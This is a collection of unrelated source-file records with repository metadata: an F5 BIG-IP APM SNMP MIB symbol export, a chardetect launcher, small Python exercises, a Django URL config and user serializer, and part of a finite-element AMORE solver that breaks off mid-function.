apmPaStatSecuridAgentTotalInstances=apmPaStatSecuridAgentTotalInstances, apmPaStatVsName=apmPaStatVsName, apmPaStatRaAgentTotalUsages=apmPaStatRaAgentTotalUsages, apmPaStatExternalLogonAgentTotalFailures=apmPaStatExternalLogonAgentTotalFailures, apmPaStatEpsWinOsInfoAgentTotalSessVars=apmPaStatEpsWinOsInfoAgentTotalSessVars, apmAccessStatTotalSessions=apmAccessStatTotalSessions, apmPaStatClientCertAgentTotalErrors=apmPaStatClientCertAgentTotalErrors, apmPaStatEpsWinOsInfoAgentTotalFailures=apmPaStatEpsWinOsInfoAgentTotalFailures, apmPaStatEpsWinOsInfoAgentTotalErrors=apmPaStatEpsWinOsInfoAgentTotalErrors, apmPaStatRdsAgentTotalInstances=apmPaStatRdsAgentTotalInstances, apmPmStatInspDataMsmtchError=apmPmStatInspDataMsmtchError, apmPaStatTotalEstablishedStateSessions=apmPaStatTotalEstablishedStateSessions, apmPaStatUserLoggedoutSessions=apmPaStatUserLoggedoutSessions, apmProfileRewriteStat=apmProfileRewriteStat, apmProfileAccessAgentStat=apmProfileAccessAgentStat, apmPaStatRadiusAgentTotalInstances=apmPaStatRadiusAgentTotalInstances, apmPaStatEpsWinMcAgentTotalSuccesses=apmPaStatEpsWinMcAgentTotalSuccesses, apmPaStatEndingAllowAgentTotalSessVars=apmPaStatEndingAllowAgentTotalSessVars, apmLeasepoolStatTotReleaseFailure=apmLeasepoolStatTotReleaseFailure, apmGlobalRewriteStatServerResps=apmGlobalRewriteStatServerResps, apmLeasepoolStatResetStats=apmLeasepoolStatResetStats, apmGlobalConnectivityStatGroup=apmGlobalConnectivityStatGroup, apmPrStatServerResps=apmPrStatServerResps, apmPaStatHttpAgentTotalErrors=apmPaStatHttpAgentTotalErrors, apmPaStatEndingAllowAgentTotalFailures=apmPaStatEndingAllowAgentTotalFailures, apmPaStatMesgBoxAgentTotalUsages=apmPaStatMesgBoxAgentTotalUsages, apmPmStatTable=apmPmStatTable, apmPaStatEpsWinGpAgentTotalInstances=apmPaStatEpsWinGpAgentTotalInstances, apmPaStatEndingRedirectAgentTotalUsages=apmPaStatEndingRedirectAgentTotalUsages, apmPaStatEpsAvAgentTotalSuccesses=apmPaStatEpsAvAgentTotalSuccesses, apmPaStatEpsWinPcTotalSessVars=apmPaStatEpsWinPcTotalSessVars, apmPaStatNumber=apmPaStatNumber, apmPaStatHttpAgentTotalSessVars=apmPaStatHttpAgentTotalSessVars, apmPaStatEpsWinRcAgentTotalErrors=apmPaStatEpsWinRcAgentTotalErrors, apmPaStatEpsWinPcTotalSuccesses=apmPaStatEpsWinPcTotalSuccesses, apmProfiles=apmProfiles, apmGlobalConnectivityStatTotConns=apmGlobalConnectivityStatTotConns, apmPaStatIeAgentTotalSuccesses=apmPaStatIeAgentTotalSuccesses, apmPaStatAccessPolicyResultDeny=apmPaStatAccessPolicyResultDeny, apmPaStatEpsLinuxPcAgentTotalErrors=apmPaStatEpsLinuxPcAgentTotalErrors, apmGlobalRewriteStatGroup=apmGlobalRewriteStatGroup, apmPgStatName=apmPgStatName, apmPaStatClientCertAgentTotalInstances=apmPaStatClientCertAgentTotalInstances, apmPaStatEpsMacFcAgentTotalSessVars=apmPaStatEpsMacFcAgentTotalSessVars, apmGlobalRewriteStatClientReqBytes=apmGlobalRewriteStatClientReqBytes, apmPaStatEpsMacFcAgentTotalUsages=apmPaStatEpsMacFcAgentTotalUsages, apmPaStatEpsWinGpAgentTotalSuccesses=apmPaStatEpsWinGpAgentTotalSuccesses, apmPaStatEpsAvAgentTotalUsages=apmPaStatEpsAvAgentTotalUsages, apmPaStatEpsWinMcAgentTotalInstances=apmPaStatEpsWinMcAgentTotalInstances, apmPaStatEpsLinuxFcAgentTotalFailures=apmPaStatEpsLinuxFcAgentTotalFailures, apmPaStatVaAgentTotalSessVars=apmPaStatVaAgentTotalSessVars, apmPaStatLoggingAgentTotalSessVars=apmPaStatLoggingAgentTotalSessVars, apmPaStatEpsWinPcTotalErrors=apmPaStatEpsWinPcTotalErrors, apmPaStatLogonAgentTotalInstances=apmPaStatLogonAgentTotalInstances, bigipApmGroups=bigipApmGroups, apmGlobalConnectivityStatIngressCompressed=apmGlobalConnectivityStatIngressCompressed, apmPaStatLdapAgentTotalInstances=apmPaStatLdapAgentTotalInstances, apmPaStatEndingRedirectAgentTotalInstances=apmPaStatEndingRedirectAgentTotalInstances) mibBuilder.exportSymbols("F5-BIGIP-APM-MIB", apmPaStatEpsWinPwTotalErrors=apmPaStatEpsWinPwTotalErrors, apmLeasepoolStatMaxAssigned=apmLeasepoolStatMaxAssigned, apmPaStatExternalLogonAgentTotalErrors=apmPaStatExternalLogonAgentTotalErrors, apmPaStatClientCertAgentTotalSuccesses=apmPaStatClientCertAgentTotalSuccesses, apmPaStatEpsWinMcAgentTotalFailures=apmPaStatEpsWinMcAgentTotalFailures, apmPgStatUsages=apmPgStatUsages, apmAccessStatCurrentActiveSessions=apmAccessStatCurrentActiveSessions, apmPaStatEpsWinGpAgentTotalSessVars=apmPaStatEpsWinGpAgentTotalSessVars, apmPaStatAllowedRequests=apmPaStatAllowedRequests, apmPmStatNumber=apmPmStatNumber, apmPaStatLogonAgentTotalFailures=apmPaStatLogonAgentTotalFailures, apmPaStatGroup=apmPaStatGroup, apmGlobalRewriteStat=apmGlobalRewriteStat, apmPaStatRadiusAcctAgentTotalSuccesses=apmPaStatRadiusAcctAgentTotalSuccesses, apmPaStatEpsMacPcAgentTotalInstances=apmPaStatEpsMacPcAgentTotalInstances, apmGlobalConnectivityStatEgressCompressed=apmGlobalConnectivityStatEgressCompressed, apmGlobalRewriteStatServerReqBytes=apmGlobalRewriteStatServerReqBytes, apmPaStatEpsWinFcAgentTotalSuccesses=apmPaStatEpsWinFcAgentTotalSuccesses, apmPaStatEpsFwcAgentTotalSessVars=apmPaStatEpsFwcAgentTotalSessVars, apmLeasepoolStatEntry=apmLeasepoolStatEntry, apmLeasepoolStatTotPickRequests=apmLeasepoolStatTotPickRequests, apmPaStatSecuridAgentTotalUsages=apmPaStatSecuridAgentTotalUsages, apmPgStatSuccesses=apmPgStatSuccesses, apmPaStatClientCertAgentTotalSessVars=apmPaStatClientCertAgentTotalSessVars, apmPaStatEpsWinMcAgentTotalErrors=apmPaStatEpsWinMcAgentTotalErrors, apmPrStatClientResps=apmPrStatClientResps, apmGlobalConnectivityStatCurConns=apmGlobalConnectivityStatCurConns, apmPaStatEpsWinPwTotalSessVars=apmPaStatEpsWinPwTotalSessVars, apmPgStatSessionVars=apmPgStatSessionVars, apmPaStatMiscTerminatedSessions=apmPaStatMiscTerminatedSessions, apmPgStatEntry=apmPgStatEntry, apmPaStatAccessPolicyResultRedirectWithSession=apmPaStatAccessPolicyResultRedirectWithSession, apmPgStatAgentName=apmPgStatAgentName, apmPaStatDecnBoxAgentTotalInstances=apmPaStatDecnBoxAgentTotalInstances, apmPaStatClientCertAgentTotalFailures=apmPaStatClientCertAgentTotalFailures, apmPaStatEndingRedirectAgentTotalFailures=apmPaStatEndingRedirectAgentTotalFailures, apmPaStatEpsLinuxPcAgentTotalInstances=apmPaStatEpsLinuxPcAgentTotalInstances, apmPaStatDecnBoxAgentTotalFailures=apmPaStatDecnBoxAgentTotalFailures, apmPgStatGroup=apmPgStatGroup, apmPaStatEpsLinuxFcAgentTotalErrors=apmPaStatEpsLinuxFcAgentTotalErrors, apmPaStatEpsWinPcTotalUsages=apmPaStatEpsWinPcTotalUsages, apmPaStatHttpAgentTotalUsages=apmPaStatHttpAgentTotalUsages, apmPcStatName=apmPcStatName, apmPaStatEpsLinuxPcAgentTotalSessVars=apmPaStatEpsLinuxPcAgentTotalSessVars, apmAclStatActionReject=apmAclStatActionReject, apmPcStatMaxConns=apmPcStatMaxConns, apmPaStatRadiusAgentTotalSessVars=apmPaStatRadiusAgentTotalSessVars, apmPaStatEndingDenyAgentTotalSessVars=apmPaStatEndingDenyAgentTotalSessVars, apmPgStatTable=apmPgStatTable, apmPaStatRdsAgentTotalSessVars=apmPaStatRdsAgentTotalSessVars, apmPmStatInspResultError=apmPmStatInspResultError, apmProfileConnectivityStat=apmProfileConnectivityStat, apmPcStatGroup=apmPcStatGroup, apmPaStatAccessPolicyResultAllow=apmPaStatAccessPolicyResultAllow, apmPaStatEpsWinOsInfoAgentTotalUsages=apmPaStatEpsWinOsInfoAgentTotalUsages, apmPaStatEpsFwcAgentTotalFailures=apmPaStatEpsFwcAgentTotalFailures, apmPrStatClientReqs=apmPrStatClientReqs, apmGlobalRewriteStatResetStats=apmGlobalRewriteStatResetStats, apmPaStatLogonAgentTotalSessVars=apmPaStatLogonAgentTotalSessVars, apmPcStatCurConns=apmPcStatCurConns, apmPaStatConfigSyncState=apmPaStatConfigSyncState, apmLeasepoolStatTotReleaseRequests=apmLeasepoolStatTotReleaseRequests, apmPmStatMemSessionVarError=apmPmStatMemSessionVarError, apmPaStatEpsWinFcAgentTotalErrors=apmPaStatEpsWinFcAgentTotalErrors, apmAccessStatResultAllow=apmAccessStatResultAllow, apmPaStatLoggingAgentTotalFailures=apmPaStatLoggingAgentTotalFailures, apmPaStatDecnBoxAgentTotalSessVars=apmPaStatDecnBoxAgentTotalSessVars, apmPaStatDeniedRequests=apmPaStatDeniedRequests, apmGlobalRewriteStatClientReqs=apmGlobalRewriteStatClientReqs, apmAccessStatAdminTerminatedSessions=apmAccessStatAdminTerminatedSessions, apmPaStatEndingDenyAgentTotalUsages=apmPaStatEndingDenyAgentTotalUsages, apmPaStatEpsMacPcAgentTotalSessVars=apmPaStatEpsMacPcAgentTotalSessVars, apmLeasepoolStatCurFree=apmLeasepoolStatCurFree, apmPaStatMesgBoxAgentTotalSuccesses=apmPaStatMesgBoxAgentTotalSuccesses, apmPaStatEpsWinCcAgentTotalInstances=apmPaStatEpsWinCcAgentTotalInstances, apmLeasepoolStatGroup=apmLeasepoolStatGroup, apmPaStatEndingDenyAgentTotalInstances=apmPaStatEndingDenyAgentTotalInstances, apmGlobalConnectivityStat=apmGlobalConnectivityStat, apmPaStatTable=apmPaStatTable, apmGlobalRewriteStatServerRespBytes=apmGlobalRewriteStatServerRespBytes, apmPaStatEpsAvAgentTotalErrors=apmPaStatEpsAvAgentTotalErrors, apmPaStatEpsWinPwTotalInstances=apmPaStatEpsWinPwTotalInstances, apmAccessStat=apmAccessStat, apmPaStatEpsWinOsInfoAgentTotalInstances=apmPaStatEpsWinOsInfoAgentTotalInstances, apmPcStatEgressCompressed=apmPcStatEgressCompressed, apmPmStatInspClientSignError=apmPmStatInspClientSignError, apmPaStatRaAgentTotalSessVars=apmPaStatRaAgentTotalSessVars, apmPaStatResetStats=apmPaStatResetStats, apmPcStatResetStats=apmPcStatResetStats, apmPaStatMesgBoxAgentTotalSessVars=apmPaStatMesgBoxAgentTotalSessVars, apmPaStatEpsLinuxFcAgentTotalInstances=apmPaStatEpsLinuxFcAgentTotalInstances, apmLeasepoolStatNumber=apmLeasepoolStatNumber, apmPaStatCurrentActiveSessions=apmPaStatCurrentActiveSessions, apmPaStatEpsWinFcAgentTotalFailures=apmPaStatEpsWinFcAgentTotalFailures, apmAclStatActionContinue=apmAclStatActionContinue, apmPaStatEpsWinMcAgentTotalUsages=apmPaStatEpsWinMcAgentTotalUsages, apmPaStatLdapAgentTotalUsages=apmPaStatLdapAgentTotalUsages, apmPmStatEntry=apmPmStatEntry, apmAclStatEntry=apmAclStatEntry, apmPaStatMesgBoxAgentTotalInstances=apmPaStatMesgBoxAgentTotalInstances, apmAccessStatResultRedirect=apmAccessStatResultRedirect, apmPaStatEpsWinPcTotalFailures=apmPaStatEpsWinPcTotalFailures, apmAclStat=apmAclStat, apmPaStatExternalLogonAgentTotalSuccesses=apmPaStatExternalLogonAgentTotalSuccesses, apmPaStatRaAgentTotalFailures=apmPaStatRaAgentTotalFailures, apmPaStatApdInvalidSigErrors=apmPaStatApdInvalidSigErrors, apmPaStatEpsAvAgentTotalSessVars=apmPaStatEpsAvAgentTotalSessVars, apmPaStatLdapAgentTotalErrors=apmPaStatLdapAgentTotalErrors, apmPaStatLoggingAgentTotalSuccesses=apmPaStatLoggingAgentTotalSuccesses, apmPaStatEpsMacFcAgentTotalInstances=apmPaStatEpsMacFcAgentTotalInstances, apmPaStatAdAgentTotalUsages=apmPaStatAdAgentTotalUsages, apmPaStatEndingDenyAgentTotalSuccesses=apmPaStatEndingDenyAgentTotalSuccesses)
[ "dcwangmit01@gmail.com" ]
dcwangmit01@gmail.com
65247a93f148848e738b1cc6e7f182c86c232c55
14bbd65228c3130676857a5023e9c1a1dd6485c9
/env/bin/chardetect
c0db3b0948fc7827e9abcc6006729938092970b4
[]
no_license
VadimShurhal/start_UI_automation
087325833c53841cdddc5b47245401bd9e7271b2
7abd4cf3607d3a8193401b101823e54d54a333ef
refs/heads/master
2020-03-07T01:21:14.660460
2018-03-28T18:41:05
2018-03-28T18:41:05
127,181,529
0
0
null
null
null
null
UTF-8
Python
false
false
253
#!/home/mastaforka/Desktop/city/env/bin/python3 # -*- coding: utf-8 -*- import re import sys from chardet.cli.chardetect import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "vadimshurhal@gmail.com" ]
vadimshurhal@gmail.com
d78b8ac24c093f12b1ac5b5411620c0f589fe4cc
89a90707983bdd1ae253f7c59cd4b7543c9eda7e
/fluent_python/attic/strings-bytes/plane_count.py
dac414b93c5d84ddd35ad15b932051af53a9aa7a
[]
no_license
timothyshull/python_reference_code
692a7c29608cadfd46a6cc409a000023e95b9458
f3e2205dd070fd3210316f5f470d371950945028
refs/heads/master
2021-01-22T20:44:07.018811
2017-03-17T19:17:22
2017-03-17T19:17:22
85,346,735
0
0
null
null
null
null
UTF-8
Python
false
false
349
py
import sys from unicodedata import name total_count = 0 bmp_count = 0 for i in range(sys.maxunicode): char = chr(i) char_name = name(char, None) if char_name is None: continue total_count += 1 if i <= 0xffff: bmp_count += 1 print(total_count, bmp_count, bmp_count / total_count, bmp_count / total_count * 100)
[ "timothyshull@gmail.com" ]
timothyshull@gmail.com
b73000ba07270793015730c3be257dec3a98ded0
4bb1a23a62bf6dc83a107d4da8daefd9b383fc99
/work/abc032_c2.py
45cd9b0ea7fccb2e9ffe3042836077ee7d77a58a
[]
no_license
takushi-m/atcoder-work
0aeea397c85173318497e08cb849efd459a9f6b6
f6769f0be9c085bde88129a1e9205fb817bb556a
refs/heads/master
2021-09-24T16:52:58.752112
2021-09-11T14:17:10
2021-09-11T14:17:10
144,509,843
0
0
null
null
null
null
UTF-8
Python
false
false
328
py
n,k = map(int, input().split()) al = [int(input()) for _ in range(n)] if 0 in al: print(n) exit() r = 0 l = 0 m = 1 res = 0 while l<n: while r<n and m*al[r]<=k: m *= al[r] r += 1 res = max(res, r-l) if r==l: r += 1 else: m //= al[l] l += 1 print(res)
[ "takushi-m@users.noreply.github.com" ]
takushi-m@users.noreply.github.com
625503a03627d64011aea425012ca81ad2393fa7
ddc3d2502a4a579324f289f36076b1c8148ac49b
/ngram_viewer_app/urls.py
ce2c07d8afd7bc031e7ae15afe7318875f3924a5
[]
no_license
Chitz/Ngram-Viewer
fdab6956dcb6d3eb77510e467607c10fff628de7
f071eff0b1af45cd47440e7cb17987652591d0e6
refs/heads/master
2020-12-31T00:29:57.090042
2017-03-20T07:30:41
2017-03-20T07:30:41
85,506,556
0
0
null
null
null
null
UTF-8
Python
false
false
128
py
from django.conf.urls import url from ngram_viewer_app import views urlpatterns = [ url(r'^$', views.get, name = "get"), ]
[ "chiteshtewani@gmail.com" ]
chiteshtewani@gmail.com
ae826f84a28f60703dfd8b7a588908ab5afe9b35
660e268c396726e01047ba5d306a550c4f861562
/users/serializers.py
e9da2f526f220daf68449970dd938cd669d2fa02
[]
no_license
elunicorom/frikr
3397a93b6c9959c1b775cb103e993521d178a0e4
06e596a4f0107ff1c7dfca5c14ea205821ffb97a
refs/heads/master
2020-01-23T21:58:07.383486
2016-12-20T21:51:40
2016-12-20T21:51:40
74,724,643
0
0
null
null
null
null
UTF-8
Python
false
false
1,608
py
# -*- coding: utf-8 -*- from rest_framework import serializers from django.contrib.auth.models import User class UserSerializer(serializers.Serializer): id=serializers.ReadOnlyField() # solo lectura first_name=serializers.CharField() last_name=serializers.CharField() username=serializers.CharField() email=serializers.EmailField() password=serializers.CharField() def create(self,validated_data): #crea una instancia de User a partir de los datos de validated_data #que contiene valores deserializados #validated_data: diccionario con los datos del usuario instance=User() return self.update(instance,validated_data) def update(self,instance,validated_data): instance.firts_name=validated_data.get('first_name') instance.last_name=validated_data.get('last_name') instance.username=validated_data.get('username') instance.email=validated_data.get('email') instance.set_password(validated_data.get('password')) instance.save() return instance def validate_username(self,data): #Valida si existe un usuario con ese nombre users = User.objects.filter(username=data) #Si estoy creando(No hay instancia), comprobamos usuarios con mismo nombre if not self.instance and len(users)!=0: raise serializers.ValidationError(u"Ya existe un usuario con ese nombre") #si estoy actualizando, el nuevo nombre es diferene al de la instancia y existen usuarios #ya registrados con ese nombre elif self.instance and self.instance.username != data and len(users)!=0: raise serializers.ValidationError(u"Ya existe un usuario con ese nombre") else: return data
[ "barsa_real_31@hotmail.com" ]
barsa_real_31@hotmail.com
f3ed7239fcf50a6d20f734ebe24f87aa0ad4b72f
edf44e3ef936cc3afad5226f788462d166c997be
/linearSolvers/AMORE.py
510933d06e349a984b927035c10fed20d24bf7ea
[ "MIT" ]
permissive
Computational-Mathematics-Research/MOFEM
b9c473eb3d5770f1d7a33cc705ccb5ffcb21ced2
6ed2ea5b7a8fbb1f8f0954636f6326c706da302c
refs/heads/master
2022-09-12T14:00:42.476935
2020-05-29T01:49:50
2020-05-29T01:49:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
54,873
py
# The AMORE scheme for linear problems. import numpy as np import math import scipy # from sksparse.cholmod import cholesky # It works. from scipy.sparse.linalg import spsolve import time import sys, os sys.path.append(os.path.dirname(sys.path[0])) from elementLibrary import stiffnessMatrix, shapeFunction, invShapeFunction from otherFunctions import numericalIntegration from computGeometry import planeSweepMeshes, triangulation from meshTools import toDC from linearSolvers import traditionalElement import cForce def lowerOrderAMORE(inputData,overlappingMesh,polygons,nodeElementsPartial): """AMORE scheme with lower-order traditional FE on the boundary meshes.""" startTime=time.time() parameters=inputData[0] # Material matrices. materialList=inputData[6] materialMatrix=[None]*len(materialList) for i in range(len(materialList)): materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1]) # Assemble stiffness matrix. coordinates=inputData[5] meshes=inputData[3] numberOfMesh=len(meshes) materialMeshList=inputData[4] Iglo=[] Jglo=[] Vglo=[] # Integrate over non-overlapping elements. for i in range(len(meshes)): for j in range(len(meshes[i])): if meshes[i][j] is not None: coord=getCoord(coordinates,meshes[i][j]) if len(meshes[i][j])==3: Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[i][j]]) elif len(meshes[i][j])==4: Kloc=stiffnessMatrix.quadFE(coord,materialMatrix[materialMeshList[i][j]]) else: raise ValueError("Wrong element numbering!") Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[i][j]) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) # Integrate for the overlapping meshes. for i in range(len(polygons)): if polygons[i].triangles is None: # It is a traditional element. for j in polygons[i].incidentElements: if j: numbering=j.numbering position=j.position break coord=getCoord(coordinates,numbering) if len(numbering)==3: Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) elif len(numbering)==4: Kloc=stiffnessMatrix.quadFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) else: raise ValueError("Wrong element numbering!") Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) else: for j in range(numberOfMesh): if polygons[i].incidentElements[j]: numbering=polygons[i].incidentElements[j].numbering position=polygons[i].incidentElements[j].position coord=getCoord(coordinates,numbering) Kloc=np.zeros((2*len(numbering),2*len(numbering))) # Integrate the diagonal terms. for k in polygons[i].triangles: rho=getRho(k,position[0]) coordTri=stiffnessMatrix.getCoordFromHalfEdge(k) Kloc+=stiffnessMatrix.lowerOrderAMORE(coordTri,\ materialMatrix[materialMeshList[position[0]][position[1]]],coord,rho) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) # Integrate the off-diagonal terms. for l in range(j+1,numberOfMesh): if polygons[i].incidentElements[l]: numbering2=polygons[i].incidentElements[l].numbering position2=polygons[i].incidentElements[l].position coord2=getCoord(coordinates,numbering2) Kloc=np.zeros((2*len(numbering),2*len(numbering2))) for k in polygons[i].triangles: rho=getRho(k,position[0]) rho2=getRho(k,position2[0]) coordTri=stiffnessMatrix.getCoordFromHalfEdge(k) Kloc+=stiffnessMatrix.lowerOrderAMORE(coordTri,\ materialMatrix[materialMeshList[position[0]][position[1]]],coord,rho,coord2,rho2) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering,numbering2) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc.transpose(),numbering2,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) Iglo=np.array(Iglo,dtype=int) Jglo=np.array(Jglo,dtype=int) Vglo=np.array(Vglo,dtype='d') Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr() print("Assembling stiffness matrix costs %s seconds."%(time.time()-startTime)) startTime=time.time() # Force term. indForce=inputData[-2] if indForce[0]: # Body force is imposed. pass assert (indForce[1]==0),"Customized force is not allowed in this solver!" fglo=np.zeros((2*len(coordinates),1)) if len(indForce)==2 or (len(indForce)==3 and indForce[2]==0): forceList=inputData[-1] elif len(indForce)==3 and indForce[2]==1: forceList=inputData[-1][0] cForceList=inputData[-1][1] for i in cForceList: # We assume here that no concentrated force is acting on the overlap. # We can remove this assumption but the code would be complicated as we need the rho functions. fglo[2*i[0],0]+=i[1] fglo[2*i[0]+1,0]+=i[2] nInt=2 if indForce[1]: nInt+=3 # Customized boundary force. pos,wei=numericalIntegration.gaussQuad(nInt) for i in range(len(forceList)//2): node1=forceList[2*i][0] node2=forceList[2*i+1][0] force1=np.array([forceList[2*i][1:3]]).transpose() force2=np.array([forceList[2*i+1][1:3]]).transpose() floc=np.zeros((4,1)) coord=np.array([coordinates[node1],coordinates[node2]]) length=lenEdge(coord[0],coord[1]) # Find the element. elementPosition=None element=(set(nodeElementsPartial[node1]) & set(nodeElementsPartial[node2])) if element: elementPosition=element.pop() if elementPosition and (overlappingMesh[elementPosition[0]]\ [elementPosition[1]].polygons[0].triangles is not None): # It is in some overlapping element and this element is triangulated. for j in overlappingMesh[elementPosition[0]][elementPosition[1]].polygons: for k in j.triangles: # Test if this triangle is on the boundary. # If yes, integrate. boundaryEdge=isTriangleOnBoundary(k,coord[0],coord[1]) if boundaryEdge: rho=np.array([boundaryEdge.origin.rho[elementPosition[0]],\ boundaryEdge.destination.rho[elementPosition[0]]]) coordEdge=np.array([[boundaryEdge.origin.x,boundaryEdge.origin.y],\ [boundaryEdge.destination.x,boundaryEdge.destination.y]]) lengthEdge=lenEdge(coordEdge[0],coordEdge[1]) for l in range(nInt): Nmat=shapeFunction.oneDLinear2(pos[l]) rhoValue=(Nmat@rho)[0] xy=(Nmat@coordEdge).reshape(-1) isoCoord=invShapeFunction.invLine(coord,xy) Nmat=shapeFunction.oneDLinear(isoCoord) force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[l]*lengthEdge*rhoValue*np.matmul(Nmat.transpose(),force) break else: # This is a regular element. for j in range(nInt): Nmat=shapeFunction.oneDLinear(pos[j]) force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force) fglo[2*node1:2*node1+2,0]+=floc[0:2,0] fglo[2*node2:2*node2+2,0]+=floc[2:4,0] print("Calculating force term costs %s seconds."%(time.time()-startTime)) startTime=time.time() # Impose constraints. fixList=np.zeros((2*len(coordinates),1)) fixIndexList=np.zeros((2*len(coordinates),1),dtype=int) constraintList=inputData[-3] # Very important!!! Sort the constraints!!! constraintList.sort(key=lambda item:item[0]) for i in constraintList: if i[1]: fixList[2*i[0]]=i[3] fixIndexList[2*i[0]]=1 if i[2]: fixList[2*i[0]+1]=i[4] fixIndexList[2*i[0]+1]=1 # Solve. fglo-=(Kglo.dot(fixList)) Kglo_complete=Kglo.copy() Kglo=Kglo.tolil() count=0 for i in constraintList: if i[1]: delete_row_lil(Kglo,2*i[0]-count) fglo=np.delete(fglo,2*i[0]-count) count+=1 if i[2]: delete_row_lil(Kglo,2*i[0]+1-count) fglo=np.delete(fglo,2*i[0]+1-count) count+=1 Kglo=Kglo.transpose() count=0 for i in constraintList: if i[1]: delete_row_lil(Kglo,2*i[0]-count) count+=1 if i[2]: delete_row_lil(Kglo,2*i[0]+1-count) count+=1 print("Imposing constraints costs %s seconds."%(time.time()-startTime)) startTime=time.time() Kglo=Kglo.tocsc() # factor=cholesky(Kglo) # disp=factor(fglo) disp=spsolve(Kglo,fglo) print("Solving the linear system costs %s seconds."%(time.time()-startTime)) # The complete displacement solution: displacement=np.zeros((2*len(coordinates),1)) count=0 for i in range(2*len(coordinates)): if fixIndexList[i]: displacement[i]=fixList[i] count+=1 else: displacement[i]=disp[i-count] energy=0.5*displacement.transpose()@Kglo_complete@displacement return displacement,energy def quadraticAMORE(inputData,overlappingMesh,polygons,nodeElementsPartial): """AMORE scheme with lower-order traditional FE on the boundary meshes.""" startTime=time.time() parameters=inputData[0] # Material matrices. materialList=inputData[6] materialMatrix=[None]*len(materialList) for i in range(len(materialList)): materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1]) # Assemble stiffness matrix. coordinates=inputData[5] meshes=inputData[3] numberOfMesh=len(meshes) materialMeshList=inputData[4] Iglo=[] Jglo=[] Vglo=[] # Integrate over non-overlapping elements. for i in range(len(meshes)): for j in range(len(meshes[i])): if meshes[i][j] is not None: coord=getCoord(coordinates,meshes[i][j]) if len(meshes[i][j])==3: Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[i][j]]) elif len(meshes[i][j])==4: Kloc=stiffnessMatrix.quadFE(coord,materialMatrix[materialMeshList[i][j]]) elif len(meshes[i][j])==6: Kloc=stiffnessMatrix.triQuadFE(coord,materialMatrix[materialMeshList[i][j]]) elif len(meshes[i][j])==9: Kloc=stiffnessMatrix.quadQuadFE(coord,materialMatrix[materialMeshList[i][j]]) else: raise ValueError("Wrong element numbering!") Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[i][j]) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) # Integrate for the overlapping meshes. for i in range(len(polygons)): if polygons[i].triangles is None: # It is a traditional element. for j in polygons[i].incidentElements: if j: numbering=j.numbering position=j.position break coord=getCoord(coordinates,numbering) if len(numbering)==3: Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) elif len(numbering)==4: Kloc=stiffnessMatrix.quadFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) elif len(numbering)==6: Kloc=stiffnessMatrix.triQuadFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) elif len(numbering)==9: Kloc=stiffnessMatrix.quadQuadFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) else: raise ValueError("Wrong element numbering!") Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) else: for j in range(numberOfMesh): if polygons[i].incidentElements[j]: numbering=polygons[i].incidentElements[j].numbering position=polygons[i].incidentElements[j].position coord=getCoord(coordinates,numbering) Kloc=np.zeros((2*len(numbering),2*len(numbering))) # Integrate the diagonal terms. for k in polygons[i].triangles: rho=getRho(k,position[0]) coordTri=coordCurvedTriangle(k,polygons[i].incidentElements,coordinates) Kloc+=stiffnessMatrix.quadraticAMORE(coordTri,\ materialMatrix[materialMeshList[position[0]][position[1]]],coord,rho) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) # Integrate the off-diagonal terms. for l in range(j+1,numberOfMesh): if polygons[i].incidentElements[l]: numbering2=polygons[i].incidentElements[l].numbering position2=polygons[i].incidentElements[l].position coord2=getCoord(coordinates,numbering2) Kloc=np.zeros((2*len(numbering),2*len(numbering2))) for k in polygons[i].triangles: rho=getRho(k,position[0]) rho2=getRho(k,position2[0]) coordTri=coordCurvedTriangle(k,polygons[i].incidentElements,coordinates) Kloc+=stiffnessMatrix.quadraticAMORE(coordTri,\ materialMatrix[materialMeshList[position[0]][position[1]]],coord,rho,coord2,rho2) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering,numbering2) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc.transpose(),numbering2,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) Iglo=np.array(Iglo,dtype=int) Jglo=np.array(Jglo,dtype=int) Vglo=np.array(Vglo,dtype='d') 